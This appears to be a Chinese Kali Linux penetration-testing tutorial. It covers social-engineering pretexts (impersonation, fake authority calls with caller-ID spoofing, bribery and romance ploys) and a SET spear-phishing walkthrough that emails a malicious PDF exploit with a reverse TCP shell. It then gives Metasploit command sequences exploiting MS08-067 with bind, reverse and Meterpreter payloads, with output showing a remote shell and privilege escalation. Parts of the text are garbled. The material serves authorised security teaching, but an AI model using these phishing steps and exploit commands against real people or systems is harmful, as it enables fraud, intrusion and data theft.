Kali渗透测试之五社会工程学
◆社会工程学:如果目标网络没有直接的入口,欺骗的艺术将起到抛砖引玉的重要作用。对目标组织中的人员进行定向攻击,很有可能帮助我们找到渗透目标系统的入口。例如:诱使用户运行会安装后门的恶意程序。社会工程学渗透分为多种不同形式,伪装成网络管理员,通过电话要求用户提供给自己的账户信息,发送钓鱼邮件来劫持用户的银行账户,甚至是诱使某人出现在某个地点。
▶社会工程学是利用人性弱点体察、获取有价值信息的实践方法,它是一种欺骗的艺术。在缺 少目标系统的必要信息时,社会工程学技术是渗透测试人员获取信息的至关重要的手段。对 所有类型的组织(单位)而言,人都是安全防范措施里最薄弱的一环,也是整个安全基础设 施最脆弱的层面。人都是社会的产物,人的本性就是社会性,所以人都有社会学方面的弱点 都易受社会工程学攻击。社会工程学的攻击人员通常利用社会工程学手段获取机密信息,甚 至可以造访受限区域。社会工程学的方式多种多样,而且每种方法的效果和导向完全取决于 使用人员的想象能力。本章将阐述社会工程学核心原则,并会介绍专业的社会工程攻击人员 用其操纵他人或挖掘信息的实例。
本章分为以下几个部分:
● 透过心理学的基本原理,带领读者大致了解社会工程学的手段和目标。
● 通过几个真实的例子,演示社会工程学的攻击过程及使用方法。
从安全角度来看,社会工程学是以获取特定信息为目标的操纵他人的有力武器。很多单位都 使用社会工程学的方法进行安全评估,以考核雇员的安全完整性,并通过这种方法调查工作 流程和人员方面的安全弱点。需要注意的是,社会工程学是种很常见的技术,可以说各种人 员都会使用这种技术。无论是渗透测试人员,还是诈骗专家、身份窃贼、商业合作伙伴、求 职人员、销售人员、信息经纪人、电话推销员、政府间谍、心怀不满的员工,甚至日常生活 中的孩童都会使用这种技术,只是他们的动机不同而已。
▶人类心理学建模
人类的心理取决于感官的输入。感官的作用是形成对现实的感知。按照感官对自然现象的识 别作用来划分,人的感官可分成视觉、听觉、味觉、触觉、嗅觉、平衡和加速、温度、动 觉、疼痛感和方向感的感官。人类正是利用、发展他们的这些感官的功能,得以感知外部世 界。站在社会工程学的立场,任何通过显性感觉(视觉或听觉)、眼晴的动作(眼神接触、 口头上的差异、眨眼频率或眼睛暗示)、面部表情(惊喜、幸福、恐惧、悲伤、愤怒或厌 恶)和其他抽象实体进行观察或感觉收集到的信息,都可增加成功获取目标信息的概率。大 多数情况下,社会工程学工程师必须直接与目标进行沟通,才能获取机密信息或受限区域的 访问权。沟通形式可以是直接见面的接触方式,也可以是通过电子辅助技术进行的不见面接 触方式。在实际工作中,常见的沟通方式分为两类:面谈或问询。但是,这两种方法都受到 其他因素的制约,例如环境因素、对目标的熟悉程度和控制沟通模式的能力。所有这些因素 (沟通、环境、知识和沟通模式控制)构成社会工程学工程师必备的基本技能。整个社会工 程学活动取决于攻击者与目标之间的信任关系。如果不能与目标建立足够的信任关系,则所有的努力都可能付之东流。
▶攻击过程
本节将介绍一些发动社会工程学攻击的基本步骤。虽然这不是社会工程学攻击的唯一方法, 甚至可以说没有成功率高的正式方法,但是本文的这些步骤可帮助您形成社会工程学的基本 认识。情报收集、识别漏洞、规划攻击和执行攻击——社会工程学工程师通常都会采用这些 某本步骤,它们可有效获取目标的有关信息或访问权限。
1. 情报收集:多种技术都可用于找到最容易攻破的渗透测试目标。例如,我们可采用髙级搜 索工具收集被测公司员工的E-mail地址;通过社交网络收集被测单位员工的个人信息;识別被 测单位组织使用的第三方软件包;参与他们的经营活动、社交活动和参加其会议等。以这些 方式提供的情报,能够准确地推测出社会工程学意义上的“线人”。
2. 识别漏洞:一旦选定了关键线人,接下来就开始与对方建立信任关系和友谊。这样就可以 在不伤害、不惊动目标的情况下,截获被测单位的机密信息。保持行动的隐蔽性和保密性, 对于整个过程来说至关重要。另外,也可以调査被测单位是否使用了旧版本软件,继而通过 恶意的E-mail或Web内容,利用软件漏洞感染当事人的计算机。
3. 规划攻击:您可以对目标采取直截了当的攻击方式,也可以利用电子辅助技术被动地攻击 目标。以这些挖掘出来的情报入口着手,我们可以轻松地拟定攻击路径和攻击方法。例如, 被测单位的客户服务代表Bob和我们的关系很好,他还信任我们;他就可能在计算机上执行我 们发送的E-mail附件,而这种攻击不需要高级管理人员的任何事前授权。
4. 执行攻击:社会工程学攻击的最后一步是执行攻击计划。此时,我们应该保持足够的信心 和耐心,主动监控和评估工作成果。完成这一步之后,社会工程学工程师掌握了充分信息, 甚至可以访问被测单位的内部系统,这些成果足以让他们进一步地渗透被测单位。在成功执 行攻击计划之后,社会工程学的攻击就可宣告结束。
▶攻击方法
社会工程学中,有5种有助于理解、识别、结交、准备目标的攻击方法。社会工程学按照它们 的特点,将它们进行了归类。本节介绍了一些真实的案例,以帮助读者在实际情况中灵活运 用各种所需方法。请注意这些攻击方法针对的是个人的心理学因素,要想提高这些方法的效 用,就应该进行定期的训练和练习。
● 冒名顶替
攻击人员常常假装成他人以获取对方的信任。例如,在获取目标人员的银行信息方面,只要 目标人员使用 E-mail,我们就可以进行钓鱼攻击。这种攻击属于近乎完美的攻击方案。当决 定使用钓鱼攻击之后,攻击人员要大量地收集目标人员用过的 E-mail 地址,然后伪造出与原 银行界面一样的网页界面,以诱骗目标人员。
完成了以上准备之后,攻击人员会草拟并发送一份正式行文的E-mail(例如,银行账户更新通 知)。这些E-mail看上去就像真正银行发出来的邮件,要求目标人员访问某网址更新账户信 息。不过,邮件提到的网址将把目标人员提交的信息转发给攻击人员。攻击人员事先掌握了 特定的 Web 技术,他们使用多种先进的工具(例如 SSLstrip)就可以通过自动化手段轻松有 效地达成预定任务。与那些借助他人帮助的欺骗方法相比,这种方法通过模拟银行业务的手 段可直接达成冒名顶替的目的。
●投桃报李
通过利益交换的方式达成双方各自利益的行为,被称为投桃报李。这类攻击需要长期业务合 作达成的非正式(私人)关系。利用公司之间的信任关系,可以轻松地找到可获取特定信息 的目标人员。例如Bob是一个专业黑客,他想知道ABC公司办公大楼的物理安全策略。进行仔 细考察之后,他决定制作一个廉价销售古玩的网站,以吸引两名雇员的关注。Bob 可事先通 过社交网站掌握这两人的个人信息,了解他们的 E-mail 地址、网络论坛等资料。在这两人之 中,Alice在Bob的网站上定期采购商品,成为了Bob的主要目标。Bob决定要以一件稀有古董 换取她们公司的内部文件。利用人类心理学因素,他将向Alice发送了E-mail,以转让这件稀 有古董为筹码,要求Alice提供ABC公司的物理安全策略。在混淆了工作责任和个人利益的状 态下,Alice把公司信息透露给了Bob。在创建骗局的同时,通过价值交换的事情强化私人关 系,可成为社会工程学攻击的有效手段。
●狐假虎威
冒充目标单位业务负责人的身份从而干预正常业务的做法就是狐假虎威。有些人认为,这种 攻击方法属于冒名顶替的一种特例。人们会出于本能下意识地接受权威和髙级管理人员的指 示,这个时候他们会无视自己否定性的直觉。这种天性使我们容易在特定的威胁面前毫无抵 抗力。例如,某人要通过XYZ公司的网络管理员获取网络认证的技术细节。经过一段时间的 专注分析,他可以通过利益交换方法获得网络管理员和CEO的电话号码。后来,他使用来电 号码的伪造服务(例如,www.spoofcard.com)给网络管理员打电话。此时,网管会认为该 电话来自CEO,将遵从攻击人员的指示。这种假冒权威人员身份的狐假虎威的做法,利用了 目标人员必须遵从公司高级管理人员指示的规律,诱导目标人员泄露信息。
●啖以重利
人们常说“机不可失”,他们特别关注所谓机不可失的宝贵机会。这些想法都是人性贪婪一面的 写照。啖以重利的方法利用了人们渴求谋利机会的贪婪心理。著名的 Nigerian 419 Scam(www.419eater.com)是利用人类贪欲的典型例子。让我们举一个例子,Bob想要收集XYZ大学里学生的个人信息。在他获取所有学生的E-mail地址的情况下,他可以向学生们发送 邮件并宣告:提供个人信息(姓名、地址、电话、电子邮件、出生日期、护照号码等)将免 费获赠 iPod。由于这个创意专门针对在校学生设计,而且足以使他们确信能够免费获得最新 的 iPod,所以多数的在校学生会落入这个骗局。在企业界,相应的攻击方法通常鼓吹可以获 得最大商业收益,达成业务目标。
●社会关系
作为人,我们需要某种形式的社会关系,以分享思想、感情和想法。社会关系最易受攻击的 部分是“性”。多数情况下,异性总是互相吸引。由于这种强烈的感情和信任的错觉,人们可能 在不意间向对手透露信息。很多线上的社交门户网站都提供了见面和聊天的服务,以促进用 户间的社会交际。Facebook、MySpace、Twitter、Orkut 等网站都是如此。例如, XYZ公司 聘请了Bob,要他获取ABC公司财务策略和市场营销战略以保持自身的竞争优势。他首先査找 对方公司的雇员信息,发现 ABC 公司负责所有业务运营的人是一个叫作 Alice的女孩。因 此,他假装是一个普通的工商学的研究生,试图与Alice取得联系(例如,通过Facebook)。 后来,Bob 蓄意营造遇见 Alice 的机会,共同出席聚会、年庆活动,一同造访舞厅、音乐厅等 地方。通过在见面期间的攀谈,Bob自然而然地获取到ABC公司有用的财务和市场策略信息。 请记住,达成的关系越有效,越信任,就越有利于社会工程学工程师达到目标。在信息安全 方面还有很多简化这些操作的工具。下一小节将会介绍的SET工具就是典型的社会工程学工 具。
●Social Engineering Toolkit(SET)
Social Engineering Toolkit(SET)是一款先进的多功能的社会工程学计算机辅助工具集。它由 TrustedSec(https://www.trustedsec.com)的创始人编写,可以行之有效地利用客户端应 用程序的漏洞获取目标的机息(例如E-mail密码)。SET可实现多种非常有效且实用的攻击方 法。其中,人们常用的方法有:用恶意附件对目标进行E-mail钓鱼攻击、Java applet 攻击、 基于浏览器的漏洞攻击、收集网站认证信息、建立感染的便携媒体(USB/DVD/CD)、邮件 群发攻击及其他类似攻击。它是实现这些攻击方法的合成攻击平台。充分利用这个程序的极 具说服力的技术,可对人的因素进行深入测试。
如需启动SET,可在终端中加载SET程序。
[email protected]:〜# setoolkit
上述指令将显示如下选项
本例将演示通过恶意PDF附件发起钓鱼攻击的方法。在收件人打开附件时,他们的主机将被 攻陷。
不要使用SET工具集自带的更新功能更新SET程序包。您应该使用Kali Linux 系统的更新功 能,以获取SET 软件的更新。
▶定向钓鱼攻击
如果采用这种攻击方法,我们就要首先创建一个配合恶意PDF附件的E-mail模板,再选择适当 的PDF exploit payload,然后设置攻击平台与目标主机之间的连接关系,最后通过Gmail向目 标发送这封E-mail。需要注意的是,您可以通过Kali Linux自带的sendmail程序伪造原始发件 人的 E-mail 地址和 IP 地址。Sendmail的配置文件是/usr/share/set/config/set_config。有关 程序的详细信息,请参考Social Engineer Toolkit(SET)的官方说明:http://www.socialengineer.org/framework/Social_Engineering_Framework。
这种攻击方法的具体步骤如下。
●1、在SET 程序的最初菜单里选择1,进入图8.2 所示的设置界面。
●2.、我们选择1,即Spear-fishing Attack Vectors,然后进入
●3.、在上述选项中,我们必须选择 3,创建社会工程学邮件的模板。然后,我们书写邮件正文
●4.、虽然我们在上一步里写好了邮件的正文,但是并没有设置邮件的格式。模板生成程序会把你编辑的内容当作模板的一部分套用格式模板。在编辑完正文之后,使用Ctrl+C键返回上级菜 单。然后,进行E-mail攻击的有关设置。
我们从Perform a Mass Email Attack菜单里选择1, 再选择8,即Adobe Cool Type SING Table “uniqueName” Overflow选项
●5、接下来设置payload 类型。本例应该选择4,即Windows reverse TCP shell。然后设置目标 主机应当连接到的攻击平台(通常是Kali Linux 主机)的IP 和端口。本例假设攻击平台的IP地 址是192.168.198.130,服务端口是5555。我们进行相应设置
●6、然后我们选择选项2更改文件名,以使文件名称引人注目。我们把 payload 的文件名改成了fishing。
然后,我们要让SET知道它要如何处理我们的payload。我们选择1,向单 个 E-mail 地址发送 payload;然后再选择 1,使用先前编辑好的邮件模板。
●7、接下来,我们选择先前创建的 E-mail 模板(1)
这样,SET 将在后续的社会工程学攻击里重复利用这个模板。你创建的模板的质量,很大程度上决定了钓鱼战役的实际效果。然后,我们使用有效的E-mail中转服务器或Gmail账户向目标人员发送攻击性E-mail。
只有在测试条款里存在相应测试内容且客户明确理解测试内容的情况下,您才可以进行这种攻击测试。SET工具把感染文件发送给E-mail收件人,这种行为可能会引发法律问题。您需要 参照发起测试地区的当地法律文件了解有关的法律规定。一旦您在SET中设置了E-mail信息, 它就会立即建立连接发送文件。程序会在没有任何警告或提示的情况下直接发送E-mail。
● 8、至此,我们已经向目标发起了攻击。现在我们等待受害人打开我们的恶意PDF 文件。在他/ 她打开PDF附件的时候,我们将通过反射shell连接到被害人电脑的shell。请注意,我们配置 的 IP 地址 192.168.1.1 是攻击人员主机的 IP地址(也就是Steven电脑的IP),它在5555端 口受理被害人电脑反射shell返回的连接。
通过上述步骤,我们就完成了向目标发起社会工程学攻击的操作,并可远程访问被害人的主 机。我们可在shell的交互式提示符下执行Windows命令。
SET 可同时对一人或多人进行电子邮件的钓鱼攻击。它整合了可定制的 E-mail 功能,便于社 会工程学工程师制定安全的攻击路线。这种功能可在攻击多个公司员工的同时保持攻击的隐 蔽性。
SET 的作者不断地更新着这个程序,以适应当前技术的剧烈变化。不过,它的功能可见一 斑。强烈建议读者访问作者的网站,继续领略 SET 的风采。它的官方网站 是https://www.trustedsec.com/downloads/social- engineer-toolkit/。
总结
在本篇文章中,阐述了社会工程学在生活中各领域的常见用法。渗透测试人员可以根据实际 情况采取相应的社会工程学策略,获取目标的敏感信息。人性本身非常容易受到这种技术的 欺骗攻击。为了全面介绍社会工程学的技巧,本文讨论了构成人类心理学模型的几个因素, 这些因素包括沟通、环境、知识和沟通模式控制。这些心理学原则可帮助攻击人员根据被测c威、啖以重利和社会关系)。随后,我们演示了 SET 的使用方法,它具有在线进行自动化社会工程学攻击的强大功能。
▶漏洞利用:在仔细检查和发现目标系统中的漏洞之后,就可以使用已有的漏洞利用程序对目标系统进行渗透,某些情况下不得不对漏洞利用程序(exploit)进行额外的研究和修改,,否则可能就无法正常工作。审计人员可以吧客户端漏洞利用程序和社会工程学进行结合,进而控制目标系统,这个阶段的主要任务是控制目标系统。整个流程分为三步,涉及利用前、攻击、攻击后的相关行动。
漏洞利用是渗透测试的一个环节。脆弱性评估不涉及漏洞利用的有关测试。在摸索出目标的漏洞之后,测试人员会验证并真刀真枪地利用目标系统的安全漏洞,以进一步了解目标网络和运营系统,获取更多信息,甚至掌握完全控制权。
◆漏洞检测
了解特定软件或特定硬件设备的功能,可能就是挖掘其潜在漏洞的第一步。检验漏洞并不容易,绝非是一蹴而就之事。检验人员必须具备扎实的知识基础,了解安全分析的各方面因素。漏洞检测所需的安全分析技能分为以下几种。
● 编程技能:这是称职的守法黑客必须具备的基础素质。掌握某种编程语言的基本原理和编程 方法,是安全测试人员检测程序漏洞的必备技能。除此之外,他还应当深入了解处理器、系统内存、缓冲区、指针、数据类型、寄存器和缓存等基础概念。无论是C/C++、Python、Pert 还是汇编语言,几乎所有编程语言的实现方式都与上述概念有关。根据现有漏洞编写exploit程 序的基本方法,请参阅http://www. phreedom.org/presentations/exploit-codedevelopment/exploit-code-development.pdf
● ****:漏洞挖掘工作同样依赖测试人员的****技能。这种技术分析程序的具体函数、数据结构和算法,可检测出电子设备、软件以及系统中潜藏的漏洞。****的反编译技术,可在事先不知道内部结构情况下逆向解析出程序的源代码,从而测试程序的错误条件、不完善的函数以及存在缺陷的协议,并能够测试程序的边界条件。专业的安全研究员都 具备很高的****实战能力。****可以用于去除软件的版权保护、安全审计、分析技 术竞争情报、侵权鉴定、研究软件的交互性、掌握程序的工作机制,甚至破获敏感数据。****为应用安全的概念增加了两个抽象层:源代码级审计(source code auditing)和二进 制(可执行程序)审计(binary auditing)。如果可以获取程序的源代码,审计人员可采用自 动或手动的方式分析源程序的安全问题,进而解析出可能触发漏洞的边界条件。另一方面, 虽然测试人员可以在没有源码的情况下进行二进制审计,不过这种审计的效果不如源代码审 计理想。二进制审计通常都会用到两种通用类型的辅助工具,即反汇编程序 (disassemblers)和反编译程序(decompilers)。反汇编程序可把编译后的二进制程序反汇编成汇编指令,而反编译器则把编译后的二进制程序反编译成高级程序语言的程序源代码。 然而,无论选用反汇编程序还是反编译程序,成功的逆向安全工作都离不开审计人员扎实的 技术实力和小心谨慎的评估态度。
●熟悉检测工具:检测漏洞的工作依赖各种调试器、数据挖掘器、模糊测试数据生成器、事件 检测器、代码覆盖分析器、流量分析器和内存监视器。对于检验漏洞的工作来说,漏洞检测 工具十分重要。它们同时还是测试项目的集成测试平台。虽然 Kali Linux收录了不少监测工 具,但是本书并不会详细讲解每款工具。如需持续关注逆向工具的最新动态,请访问在线的 网络资料库:http://www.woodmann.com/collaborative/tools/index.php/Category : RCE_Tools。
● 构建exploit和payload的技术实力:利用漏洞的最后一步工序就是编写漏洞的PoC (Proof of Concept,概念验证)程序,即shellcode。这种程序旨在使渗透测试人员在远程目标主机 上执行自定义的指令。根据****阶段掌握的应用程序的具体缺陷,测试人员要编写验证漏洞的点睛之笔——shellcode程序。同时,他们还要防止shellcode存在缺陷,尽其所能地避免exploit(漏洞利用程序)出现崩溃问题。要让目标系统执行我们编写的程序或我们所要执行的指令,就应当针对漏洞的类型和类别拟定针对性的策略。为了获取目标操作系统的控制权,专业的渗透测试人员会尽力挖掘并综合 使用应用程序的各种安全缺陷。本章的后半部分将通过几个场景演示 Metasploit框架的使用方法和相关技术。
●漏洞和exploit资料库
近些年来,公共领域持续报道了大量的程序漏洞。其屮一些漏洞存在 PoC。PoC 程序从一个 侧面验证了 exploit(利用应用程序漏洞)的可行性。而且,并不是每个被发现的漏洞都会被 立刻修补。在当今这个时代里,人们争先恐后地获取exploit信息和漏洞信息。渗透测试人员同 样可以通过公开渠道快速地检索可适用于目标系统的exploit程序。如果具备了一定的编程技巧并掌握解操作系统的具体架构,您还可以将一种类型的exploit转换为另一种exploit(例如,将 Win32框架的exploit转换为Linux架构的exploit程序)。本文将介绍一系列的网络资料库,以 助您追踪漏洞信息或查找适用的exploit程序。
请注意:网络上公开的漏洞信息并不涵盖全部已知漏洞。此外,虽然部分漏洞存在对应的 PoC exploit程序,但是并非所有的安全漏洞信息都有公开的PoC代码。在公开的漏洞信息 中,部分漏洞的描述信息甚至可谓是言之无物。因此,“要在研究漏洞时参考多个网上资源”已经成为了众多安全审计人员的共识。
本文仅罗列了部分网络资源。Kali Linux集成了由“Offensive Security”提供的资料库,可在您 的系统上保存exploit的所有漏洞记录,以便您日后参考和使用。如需查看Exploit-DB提供的资 料,可在主机的shell中执行下述指令。
#cd /usr/share/exploitdb/ vim files.csv
上述指令将列出Exploit-DB收录的所有exploit信息,即本机/usr/share/exploitdb/platforms/目 录下的文件清单和相关描述。Kali 以目标系统的类型对漏洞进行分类(Window、Linux、HPUX、Novell、 Solaris、BSD、IRIX、TRU64、ASP、PHP 等),并把各种exploit的源代码保 存在相应的子目录下。这些文件多数是C、Perl、Python、Ruby、PHP以及其他一些编程技 术开发的exploit 源代码。Kali Linux 已经收录了执行exploit 程序所需的编译程序和解释程 序。
如何从exploits信息中提取特定信息?
通过操作系统的Bash 指令,可以对文本文件的输出内容进行过滤,从而筛选所需信息。可以通过 searchsploit指令或者是 cat files.csv | cut -d “,” -f3指令检索特定的exploit。有关 shell指令的基本用法,请查阅http://tldp.org/LDP/abs/html/index.html
●漏洞利用程序工具集
Kali Linux 预装了几款十分好用的髙级漏洞利用程序工具集,其中就有Metasploit 框架 (http://www.metasploit.com)。本文将不仅会详细地介绍这款工具,而且还会通过大量行之 有效的应用场景来演示它的使用方法,以加深读者对渗透测试的认识。Metasploit 框架是由 Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。Metasploit 的框架可以分为三大类组成部分:库、界面和模板。本文重点关注各界面和模板的功能。界面(控制台、CU、Web、GUI)基本上是调用功能模板(漏洞利用、 有效载荷、辅助工具、加密引擎、NOP)的前端UI。Metasploit框架的每个模板都有不同的作用,它们大体可分为下述模块。
● exploit(漏洞利用程序模板):包含各种 PoC 验证程序,用于验证利用特定漏洞 (exploit)的可行性。
● payload(有效载荷模板):包含各种恶意程序,用于在目标系统上运行任意命令。它可能 是exploit的一部分,也可能是独立编译的应用程序。
● Auxiliaries(辅助工具模板):包含一系列扫描、嗅探、拨号测试、指纹识别和其他类型的 安全评估程序。
● Encoders(编码工具模板):在渗透测试中,这个模板用来加密有效载荷,以避免被杀毒 软件、防火墙、IDS/IPS以其他类似的反恶意软件检测出来。
● NOP(空操作模板):这个模板用于在shellcode 中插入NOP(汇编指令)。虽然NOP不会 进行实际的操作,但是在构造shellcode时可以用来暂时替代playload,形成完整的shellcode 程序。
为了便于理解,下面将演示两个著名的Metasploit界面,并讲解相关的指令行选项。每个 接口都有各自的各有长处和短处。本文强烈建议使用console接口,因为它支持该框架的多数功能。
♙ MSFConsole
MSFConsole是效率最高、功能最强大的高度集成的端界面之一。它便于渗透测试人员充分利 用整个漏洞利用程序框架。如需使用 msfconsole ,可在终端中执行下述指令。
#msfconsole
上述指令将用户带入控制台类型的人机交互界面。如果需要了解所有可用的命令,可以输入下述指令。
#msf > help
上述指令将会显示两类命令。一类指令是在整个框架内通用的常规指令,另一类指令则是面向后台数据库的专用指令。后台数据库里存储着评估参数和评估结果。要想查看某个指令的 选项说明,可以在有关指令的后面添加-h后缀。例如,我们可通过下述指令查看show命令的使用说明。
msf > show -h
上述命令通常用于显示某个类型的可用模板,或者显示所有模板。常用的指令如下所示。
● show auxiliary:列出全部的辅助工具模板。
● show exploits:列出框架下所有的漏洞利用程序。
● show payloads:列出所有平台下的有效载荷。如果已经选定了一个漏洞利用程序,再使用 该命令就只会显示相关的载荷。例如,Windows的载荷将显示与 Windows相关的漏洞利用模 板。
● show encoders:显示可用的编码工具模板。
● show nops:显示所有可用的NOP 生成程序。
● show options:显示指定模板的全部设置和选项信息。
● show targets:显示exploit 支持的操作系统类型。
● show advanced:列出所有高级配置选项,以便进行微调。
● MSFCLI
MSFCLI和MSFConsole相似,它们不仅都采用了命令行界面,而且都可在所有的线程中操作 绝大多数的模板。然而,MSFCLI的自动化程度没有MSFConsole高。 如需启动msfcli,可在终端中使用下述指令。
#msfcli –h
上述指令将显示所有可用的模式、模式的相关说明,以及指令所需的参数。请注意msfcli需要使用等号给参数进行赋值,而且所有的选项都区分大小写。下述例子演示了选定、运行特定 exploit模板的具体方法。
#msfcli windows/smb/ms08_067_netapi O
上述指令结尾处的选项O,用于显示指定exploit的全部选项。下述指令通过RHOST参数指定 目标主机的IP地址。
#msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P
在设置好RHOST参数指定了目标IP之后,就应当选取可行的payload,并执行我们选取的 exploit。
#msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST =192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.0.7
[*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)
Microsoft Windows XP Version 5.1.2600 Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
上述信息表明,在选定payload并设置好LHOST参数之后,我们获取了目标主机的本地shell控 制权。
- 忍者操练101
本节将讲解漏洞利用框架的各种使用方法。尽管不可能完全展现Metasploit框架的各种功能, 但是细致地挑选了几个案例,演示了它的最重要的功能。如需深入了解Metasploit框架, 请参见官方的在线教程MetasploitUnleashed:http://www.offensive-security.com/metasploitunleashed/。官方教程深入地讲解了exploit模板开发、漏洞检测以及各种评估技术。
场景1
这个场景将使用Metasploit框架集成的NMap程序进行端口扫描、OS指纹识别,以及服务鉴定。我们在MSFConsole中执行下述指令。
首先需要进行的是:启动postgresql服务 然后初始化后台数据库 (只有在postgresql服务关闭的时候才可以初始化) |
启动msf5
msf5 > load db_tracker //使用插件
使用Metasploit框架集成的NMap程序对脆弱系统进行端口扫描、OS指纹识别,以及服务鉴定
Msf5 > db_nmap -T Aggressive -sV -n -O -v 192.168.198.129
使用db_hosts单独查看识别出来的主机
使用db_services单独查看识别出的系统服务
上述信息表明,现在已经成功对目标进行扫描,并且扫描结果已经保存在当前的数据库会话中。如需查看扫描阶段识别出来的目标主机和系统服务,可单独使用db_hosts和db_services 指令。另外,如果单独使用NMAP程序扫描过目标主机,而且已经把扫描报告保存为XML 格式的文件,那么可以使用db_import_nmap_xml命令把Nmap的扫描报告导入到Metasploit的数据库里。
场景2
这个场景将演示 Metasploit 框架的辅助工具(auxiliaries)模板的使用方法,旨在帮助了解辅助工具模板在渗透测试过程中的重要作用。
- SNMP字符串扫描程序
这个模板可以对指定网段进行SNMP(Simple Network Management Protocol)扫描,并使 用常见的团体字符对SNMP进行测试,最终显示它识别出来的SNMP设备信息。我们来看:
msf 5> search snmp
msf 5> use auxiliary/scanner/snmp/community
msf5 auxiliary(scanner/snmp/snmp_login) > show options
(上述信息表明,程序识别出了一个启用SNMP 功能的设备,而且该设备可以受理团体字符串 public。虽然通过字符串public 获取的权限只是该设备的只读权限,但是我们仍然可以获取大 量有价值的信息。这些信息可能包括系统数据、正在运行的服务程序、网络地址、版本号和 补丁信息等)
- VNC空密码扫描程序
这个模板将会扫描指定的网段,搜索可以使用空密码访问的虚机网络计算(Virtual Network Computing,VNC)服务器。
进行扫描的指令如下。
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options
msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
msf auxiliary(vnc_none_auth) > run
上述信息表明,Metasploit框架确实找到了很多无需验证就可访问的VNC服务器。若不采取身份认证的访问控制措施,这些主机将会招引不速之客访问VNC服务器,终将成为系统管理员的一大威胁。
- IIS6 WebDAV Unicode 身份验证旁路漏洞
这个模板将会扫描指定的网段,以搜索存在IIS6 WebDAV 认证旁路漏洞的主机。启动扫描任务的指令如下。
msf > use auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
msf auxiliary(ms09_020_webdav_unicode_bypass) > show options
msf auxiliary(ms09_020_webdav_unicode_bypass) > set RHOSTS 10.8.183.0/24
msf auxiliary(ms09_020_webdav_unicode_bypass) > set THREADS 10
msf auxiliary(ms09_020_webdav_unicode_bypass) > run
上述信息表明,Metasploit 框架完成了对目标网段的扫描,已经找到了存在 MS09-020 IIS6 WebDAV Unicode Authentication Bypass漏洞的主机。或许,这种模板有助于我们发现网络中配置不当的服务器,提前发现安全隐患。
场景3
这个场景将会介绍几种常见的payload(bind、reverse 和meterpreter shell),并且以漏洞利 用的角度探讨它们的功能。这些实例还将展示payload的使用方法和时机
- bind shell
bind(绑定型)shell用于提供远程shell连接。在成功利用了目标主机上的安全漏洞,并且成功执行了shellcode程序以后,渗透人员可在目标主机上的特定端口上运行bind shell,以让其 他主机继续控制这台主机。攻击人员可以使用基于TCP 连接的标准输入输出(stdin/stdout) 隧道工具(例如Netcat)连接到被攻破的主机,通过 bind shell 继续实施控制。它的应用场合与 Telnet 服务器/客户端十分相似,主要适用于以 NAT(Network Address Translation)方式连入网络的渗透人员、攻击人员的设备与目标主机之间有防火墙的情况,即适用于无法从 被测主机直接连接到攻击人员主机IP的各种情况。
可通过下述指令利用主机漏洞并安装bind shell。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit
上述信息表明,Metasploit 通过集成的payload 处理程序自动连接到了bind shell。我们可以自 己编写shellcode,利用exploit 程序安装bind shell,然后再使用Netcat 这类第三方工具连接到 bind shell。有关 netcat 在网络安全测试中的各种用途的实例说明,请参见 http://en.wikipedia.org/wiki/Netcat。
- reverse shell
reverse(反射型)shell与绑定型(bind)shell截然不同。reverse shell不是在目标机器上绑 定端口,被动地受理攻击人员的机器连接,而是采用反弹的方法,让被测主机主动地连接攻 击者的IP和端口,并提供一个shell。reverse shell适用于被测主机采用NAT方式连接网络的情况,或者被测主机受防火墙保护而使渗透人员不能从外网直接访问被测主机的各种情况。
下述指令可设置安装reverse shell。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST **.**.**.**
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set LHOST *.*.*.*
msf exploit(ms08_067_netapi) > exploit
在安装reverse shell 时需配置攻击者的IP(例如LHOST 192.168.0.3),而在安装(绑定型) bind shell 则没有这项设置。
inline payload和staged payload 的区别有哪些?
Inline payload属于自主型shellcode,它的shellcode和exploit都在同一个程序文件里。而 staged payload 在两台主机之间建立通信隧道,并通过隧道执行shellcode程序。如果对 payload的文件尺寸有严格要求,那么可使用 staged payload,因为它的文件尺寸比 inline payload的文件小得多。
- Meterpreter
Meterpreter是一种先进的、隐蔽的、多功能的、可动态扩展的payload,它可在目标主机的系 统内存里注入DLL(注入的DLL完全不会以文件形式存在)。此外,它还支持在运行期间加载 脚本和插件。在漏洞利用的后期阶段,它的动态加载特性极大地拓宽了渗透人员的作业空 间,方便了提权、保存系统账号、进行关键记录、驻留性后门服务、开启远程桌面等各种操 作。默认情况下,Meterpreter shell 会采用全程加密的通信方式。
可通过下述指令利用漏洞并安装Meterpreter payload。 msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.198.132
msf exploit(ms08_067_netapi) > show payloads
... msf exploit(ms08_067_netapi) > set PAYLOAD
windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set LHOST 192.168.198.129
msf exploit(ms08_067_netapi) > exploit
meterpreter > help
通过上述指令,我们成功地连接到了被测主机的Meterpreter shell,然后我们通过help查看各种可用的命令。下一步,我们要査看当前用户的操作权限,然后通过 getsystem脚本提升自己 的权限为系统权限。
meterpreter > getuid
meterpreter > use priv
meterpreter > getsystem -h
